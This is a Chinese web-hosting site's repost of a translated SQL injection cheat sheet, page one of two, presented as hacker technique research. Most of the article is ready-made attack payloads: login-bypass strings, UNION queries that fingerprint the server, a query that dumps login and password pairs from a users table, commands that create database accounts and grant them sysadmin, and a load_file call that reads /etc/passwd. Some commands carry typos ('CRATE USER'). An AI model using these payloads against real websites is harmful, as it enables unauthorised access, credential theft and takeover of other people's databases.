中国网站综合托管服务--企业网站专职保姆,精心呵护您的网站。   关于我们 | 业务介绍 | 在线支付 | 网站地图
易管天下   EGTX.NET
今天是: 旧版入口】‖【易管财经】‖【IT资讯】‖【搜索引擎研究】‖【易管商城
  首页 | 企业建站 | 维护助理 | 代管之家 | 网站优化 | 推广精灵 | 客户中心 | 技术交流 | 下载中心 | 在线留言
黑客技术研究: SQL注入技术资料
易管天下-最新信息:《黑客技术研究: SQL注入技术资料 》!网站托管,网站保姆,网站SEO,网站优化,以及搜索引擎研究,SEO技术等

黑客技术研究: SQL注入技术资料

易管天下 www.egtx.net  来源:网摘

文章备注:好像1ST也有翻译过,所以有必要说明下。此翻译文章由尘埃为落叶纷飞翻译,首发脚本安全小组社区(Http://Www.Cnsst.Org),转载还望说明。由于小组成员尘埃工作太忙,由我代发到邪八。

1.   介绍

2.   漏洞测试

3.   收集信息

4.   数据类型

5.   获取密码

6.   创建数据库帐号

7.   MYSQL操作系统交互作用

8.   服务器名字与配置

9.   从注册表中获取VNC密码

10.逃避标识部分信号

11.用Char()进行MYSQL输入确认欺骗

12.用注释逃避标识部分信号

13.没有引号的字符串

1.   当服务器只开了80端口,我们几乎肯定管理员会为服务器打补丁。

最好的方法就是转到网站攻击。SQL注射是最普遍的网站攻击方法之一。

你攻击网站程序,(ASP,JSP,Php,CGI..)比服务器或者在服务器上运行的操作系统好的多。

SQL注射是一种通过网页输入一个查询命令或者一条指令进行欺骗的方法,很多站点都是从用户的用户名,密码甚至email获取用户的参数。

他们都使用SQL查询命令。

2.   首先你用简单的进行尝试。

- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
这些是简单的方法,其他如下:

- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3.收集信息

- ' or 1 in (select @@version)--
- ' union all select @@version--   /*这个优秀
这些能找到计算机,操作系统,补丁的真实版本。

4.数据类型

Oracle   扩展
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL   数据库, C:WINDOWS>type my.ini得到root密码
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases


5.获取密码

';begin declare @var varchar(8000) set @var=':' select

@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.创建数据库帐号

10.               MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'   加为数据库管理员

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
         TEMPORARY TABLESPACE temp
         DEFAULT TABLESPACE users;
GRANT CONnecT TO name;
GRANT RESOURCE TO name;

7. MYSQL操作系统交互作用

- ' union select 1,load_file('/etc/passwd'),1,1,1;   这里用到load_file()函数

本新闻共2页,当前在第1页  1  2  

今日头条

·阿里巴巴与百度交恶 发声明相互谴
·虚假客服电话泛滥互联网 用户辨别
·WPS Office 2007-永久免费使用-支
·微软称20日验证Windows与Office 
·2008年中国互联网产业三大热点解
·易管学堂招收学员-计算机职业培训
·2008年第三期(宁夏地区)职业SE
·国内首家推出《电子商务行业CEO调
·2008年秋季职业SEO培训开始报名
·公告:易管天下服务热线更改为 1

技术交流

· 防止黑客侵入你正在使用的Wind
· 九种突破IDS入侵检测系统的实用
· 黑客技术研究: SQL注入技术资
· 解决木马隐患 警惕黑客控制PC重
· HTML中,meta标签的语法

网站维护

· 通用电气(中国)网站维护案例分析
· 网站建设、网站维护、网站运营过
· 国家计算机病毒中心发现恶意木马
· 《计算机信息网络国际联网安全保
· 一切从零开始 如何快速提升网站的

客户中心

· 易管学堂招收学员-计算机职业培
· 中国SEO案例大全(133例)
· 2008年第三期(宁夏地区)职业
· 2008年秋季职业SEO培训开始报名
· 易管天下为计划进一步扩大规模

 
相关连接:
上一篇:解决木马隐患 警惕黑客控制PC重新启动
下一篇:九种突破IDS入侵检测系统的实用方法
相关网络广告:
站内搜索 :
    
网站托管,网站建设与维护,网站优化与推广,网站运营及策划等综合服务。是专业的网站保姆,精心呵护网站。我们的网址:www.egtx.cn |或| www.egtx.net
相关连接:| 硬件技术 | 软件技术 | 网络技术 | SEO技术 | 维护技术 | 建设技术 | 制作技术 | 技术交流 |